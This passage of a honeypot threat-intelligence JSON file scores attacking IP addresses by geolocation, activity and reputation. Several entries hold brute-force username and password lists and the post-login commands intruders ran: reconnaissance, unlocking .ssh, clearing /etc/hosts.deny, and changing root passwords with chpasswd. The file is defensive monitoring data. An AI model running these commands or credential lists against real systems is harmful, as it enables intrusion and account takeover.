      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:54:02.743000+00:00",
        "last_seen_30d": "2026-04-13T23:55:19.473000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.178.84.180": {
      "attack_count": 2,
      "first_seen": "2026-04-30T22:17:12.565Z",
      "last_seen": "2026-04-30T22:17:25.181Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:17:12.565000+00:00",
        "last_seen_30d": "2026-04-30T22:18:28.243000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.1.12.242": {
      "attack_count": 2,
      "first_seen": "2026-04-29T20:48:21.629Z",
      "last_seen": "2026-04-29T20:48:33.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 28661,
      "as_org": "HOTLINK INTERNET LTDA",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:48:21.629000+00:00",
        "last_seen_30d": "2026-04-29T20:49:42.930000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.150.41.27": {
      "attack_count": 2,
      "first_seen": "2026-04-28T17:54:18.440Z",
      "last_seen": "2026-04-28T17:56:18.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tuxtla Guti\u00e9rrez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T17:54:18.440000+00:00",
        "last_seen_30d": "2026-04-28T18:07:03.730000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "191.17.20.146": {
      "attack_count": 2,
      "first_seen": "2026-04-29T09:17:13.216Z",
      "last_seen": "2026-04-29T09:19:13.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T09:17:13.216000+00:00",
        "last_seen_30d": "2026-04-29T09:30:10.344000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.88": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:53:37.100Z",
      "last_seen": "2026-04-30T16:54:07.796Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T08:33:47+00:00",
        "last_seen_30d": "2026-04-30T16:55:17.548000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 21,
        "Cowrie": 2
      }
    },
    "218.146.163.192": {
      "attack_count": 2,
      "first_seen": "2026-04-03T06:06:42.011Z",
      "last_seen": "2026-04-03T06:06:54.829Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Sasang-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:06:42.011000+00:00",
        "last_seen_30d": "2026-04-03T06:07:58.977000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.129.83": {
      "attack_count": 2,
      "first_seen": "2026-04-17T02:33:50.282Z",
      "last_seen": "2026-04-17T02:33:55.022Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 64.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 24,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T23:16:54+00:00",
        "last_seen_30d": "2026-04-26T08:00:24.301000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 31,
        "Cowrie": 2
      }
    },
    "71.31.16.130": {
      "attack_count": 2,
      "first_seen": "2026-04-07T15:19:24.614Z",
      "last_seen": "2026-04-07T15:19:37.158Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hobbs",
      "asn": 7029,
      "as_org": "Windstream Communications LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T15:19:24.614000+00:00",
        "last_seen_30d": "2026-04-07T15:20:38.726000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.130.148.107": {
      "attack_count": 2,
      "first_seen": "2026-04-29T19:33:29.190Z",
      "last_seen": "2026-04-29T19:33:29.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:33:29.190000+00:00",
        "last_seen_30d": "2026-04-29T19:34:30.765000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.100.241.126": {
      "attack_count": 2,
      "first_seen": "2026-04-05T06:27:46.463Z",
      "last_seen": "2026-04-05T06:27:59.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T06:27:46.463000+00:00",
        "last_seen_30d": "2026-04-05T06:29:02.824000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.170": {
      "attack_count": 2,
      "first_seen": "2026-04-21T20:04:46.095Z",
      "last_seen": "2026-04-21T20:04:46.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T18:17:39+00:00",
        "last_seen_30d": "2026-04-30T21:49:50.152000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 47,
        "Cowrie": 2
      }
    },
    "93.170.132.202": {
      "attack_count": 2,
      "first_seen": "2026-04-26T04:50:58.844Z",
      "last_seen": "2026-04-26T04:51:12.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Mykolayiv",
      "asn": 61384,
      "as_org": "TK NEON Ltd.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T04:50:58.844000+00:00",
        "last_seen_30d": "2026-04-26T04:52:17.224000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.156.67.84": {
      "attack_count": 1242,
      "first_seen": "2026-04-08T09:25:34.946Z",
      "last_seen": "2026-04-08T13:44:12.976Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r-m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1788,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:25:34.946000+00:00",
        "last_seen_30d": "2026-04-08T13:45:21.686000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1242,
        "Suricata": 546
      }
    },
    "79.3.96.178": {
      "attack_count": 1127,
      "first_seen": "2026-04-04T23:00:35.821Z",
      "last_seen": "2026-04-24T21:59:38.771Z",
      "sessions": 120,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "ftpuser",
        "dev",
        "sammy",
        "user",
        "admin",
        "hruser",
        "pandora",
        "ali",
        "bot",
        "deploy",
        "developer",
        "dima",
        "frappe",
        "ftptest",
        "git",
        "hb"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "!Q2wE4r",
        "0000",
        "12",
        "123",
        "1234!@#$",
        "12341234",
        "12345678",
        "1234567812345678",
        "123456Aa.",
        "123456Zx",
        "123_qwer",
        "123qaz!@#WSX",
        "142536",
        "1qaz!QAZ",
        "1qaz@WSX3edc$RFV@",
        "2357",
        "54321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234!@#$\\nMsQPDRAjmlf3\\nMsQPDRAjmlf3\\n\"|passwd",
        "echo \"admin\\nrqykArmDG8nq\\nrqykArmDG8nq\\n\"|passwd",
        "echo \"hruser\\nxFwBnSOT48ej\\nxFwBnSOT48ej\\n\"|passwd",
        "echo \"pandora\\n6C5K0u6TQOcL\\n6C5K0u6TQOcL\\n\"|passwd",
        "echo \"root2025\\nwne5BXRVAN6L\\nwne5BXRVAN6L\\n\"|passwd",
        "echo \"root:WnMBTzmKV9Fn\"|chpasswd|bash",
        "echo \"root:XFoSG2YSBSV0\"|chpasswd|bash",
        "echo \"root:noGbpTsBiUHb\"|chpasswd|bash",
        "echo \"root:xjiWC7MhAWG6\"|chpasswd|bash",
        "echo -e \"1234!@#$\\nMsQPDRAjmlf3\\nMsQPDRAjmlf3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 47.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1403,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T23:00:35.821000+00:00",
        "last_seen_30d": "2026-04-24T22:00:42.806000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1127,
        "Suricata": 276
      }
    },
    "190.181.4.12": {
      "attack_count": 888,
      "first_seen": "2026-04-09T18:26:17.434Z",
      "last_seen": "2026-04-29T00:22:23.067Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user",
        "ali",
        "claude",
        "deployer",
        "frappe",
        "minecraft",
        "monitoring",
        "test",
        "webadmin",
        "adam",
        "azureuser",
        "bit",
        "bitrix",
        "bwadmin",
        "cds",
        "deepak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "test",
        "!QAZ2wsx3edc",
        "1",
        "12345",
        "123456789a",
        "123456ddd",
        "1234qwer",
        "123_asdf",
        "147258369",
        "1q2w3e4r",
        "1qa@WS3ed",
        "1qaz3edc",
        "3bb",
        "6",
        "A123456V",
        "Aa112211.",
        "Aa123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456ddd\\n9qYvwZkcFIMA\\n9qYvwZkcFIMA\\n\"|passwd",
        "echo \"Passw0rd\\nehl3sQ57oyeS\\nehl3sQ57oyeS\\n\"|passwd",
        "echo \"Welcome\\nn0BEV2jlQnOl\\nn0BEV2jlQnOl\\n\"|passwd",
        "echo \"monitoring2025\\n49Puxp9aEBEa\\n49Puxp9aEBEa\\n\"|passwd",
        "echo \"root:ZXJevTQK32mX\"|chpasswd|bash",
        "echo \"root:re2ayyqSQiZ8\"|chpasswd|bash",
        "echo \"root:vl71MXtrQd71\"|chpasswd|bash",
        "echo -e \"123456ddd\\n9qYvwZkcFIMA\\n9qYvwZkcFIMA\"|passwd|bash",
        "echo -e \"Passw0rd\\nehl3sQ57oyeS\\nehl3sQ57oyeS\"|passwd|bash",
        "echo -e \"Welcome\\nn0BEV2jlQnOl\\nn0BEV2jlQnOl\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1105,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:26:17.434000+00:00",
        "last_seen_30d": "2026-04-29T00:23:30.366000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 888,
        "Suricata": 217
      }
    },
    "93.71.118.99": {
      "attack_count": 794,
      "first_seen": "2026-04-07T12:33:39.722Z",
      "last_seen": "2026-04-10T09:45:24.472Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "ubuntu",
        "vpn",
        "deploy",
        "elk",
        "aceuser",
        "admin",
        "appuser",
        "bot1",
        "client",
        "ftp_user",
        "ftpuser",
        "joe",
        "linuxbrew",
        "oliver",
        "site",
        "steam",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w#E4r",
        "123!@#",
        "123!@#QWE",
        "123456",
        "2024",
        "202500",
        "202501",
        "6yhn!@#",
        "Admin123",
        "Ali123",
        "Asdfghjkl",
        "DDaa000",
        "Frappe23!",
        "Huawei_123",
        "P!@ss#w0rd",
        "P@ss.word1",
        "Pa$$w0rd@2026",
        "Password01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Teamspeak!\\nxo5KbkVRVUOz\\nxo5KbkVRVUOz\\n\"|passwd",
        "echo \"elk\\nBlDXJmD1amhl\\nBlDXJmD1amhl\\n\"|passwd",
        "echo \"root:Mt3oYSClKTIq\"|chpasswd|bash",
        "echo \"root:dAHWcJDIAWWN\"|chpasswd|bash",
        "echo \"root:hiGmEx3yTnZh\"|chpasswd|bash",
        "echo \"root:tUyeaQyX0Pkn\"|chpasswd|bash",
        "echo \"root:zyOikzCsMP6g\"|chpasswd|bash",
        "echo \"vpn123\\nKIY97snc1UXh\\nKIY97snc1UXh\\n\"|passwd",
        "echo -e \"Teamspeak!\\nxo5KbkVRVUOz\\nxo5KbkVRVUOz\"|passwd|bash",
        "echo -e \"elk\\nBlDXJmD1amhl\\nBlDXJmD1amhl\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 941,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:33:39.722000+00:00",
        "last_seen_30d": "2026-04-10T09:46:28.645000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 794,
        "Suricata": 147
      }
    },
    "102.22.27.146": {
      "attack_count": 743,
      "first_seen": "2026-04-01T00:05:43.484Z",
      "last_seen": "2026-04-10T09:30:55.004Z",
      "sessions": 148,
      "ports": [],
      "usernames_attempted": [
        "root",
        "systems",
        "emo",
        "admin",
        "support",
        "admin2",
        "centos",
        "emos",
        "emoss",
        "freepbx",
        "issabel",
        "sangoma",
        "pbxsystem",
        "supports",
        "system",
        "asteriskuser",
        "freepbxuser",
        "sugarmaint",
        "supermaint"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025",
        "ItsemoemoWashere2023support",
        "ZabTharwat@2016",
        "ZabTharwat@2026",
        "ZabTharwat@2025",
        "vivo@01011",
        "123456",
        "Ambit1234!",
        "Sam4z1ngw0nd3r5Z",
        "SangomaDefaultPassword",
        "pbx@01011",
        "z4ng0rber",
        "!@#trada2012",
        "1qaz2wsx#EDC$RFV",
        "488078996",
        "906768700!@#",
        "Admin@123",
        "Admin@321",
        "Asterisk2024"
      ],
      "commands_executed": [
        "echo login_success",
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 37350,
      "as_org": "dds55",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1120,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:05:43.484000+00:00",
        "last_seen_30d": "2026-04-10T09:31:59.769000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 743,
        "Suricata": 377
      }
    },
    "78.42.241.233": {
      "attack_count": 654,
      "first_seen": "2026-04-12T11:45:27.363Z",
      "last_seen": "2026-04-21T03:07:25.791Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "steam",
        "afa",
        "deploy",
        "admin",
        "agotoz",
        "ali",
        "customer",
        "elasticsearch",
        "git",
        "prashant",
        "rundeck",
        "sammy",
        "student",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*",
        "1",
        "110",
        "1111111",
        "12344321",
        "123456.asd",
        "12345678",
        "1234rewq",
        "123qwe!@QWE",
        "123qweasd",
        "A1234567O",
        "Abcd123456789!!",
        "Admin.123456",
        "GU3ST",
        "P@ssw0rd",
        "Qazwsx0000$",
        "Qazwsx11111@123",
        "Qazwsx123321!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"afa\\nAu4pdVbkY8oW\\nAu4pdVbkY8oW\\n\"|passwd",
        "echo \"root:muU0era1Xl7x\"|chpasswd|bash",
        "echo \"root:tgY0zZTBgIT5\"|chpasswd|bash",
        "echo \"root:yMKn4oTCfMvI\"|chpasswd|bash",
        "echo \"root:zp0LYqxvAaPf\"|chpasswd|bash",
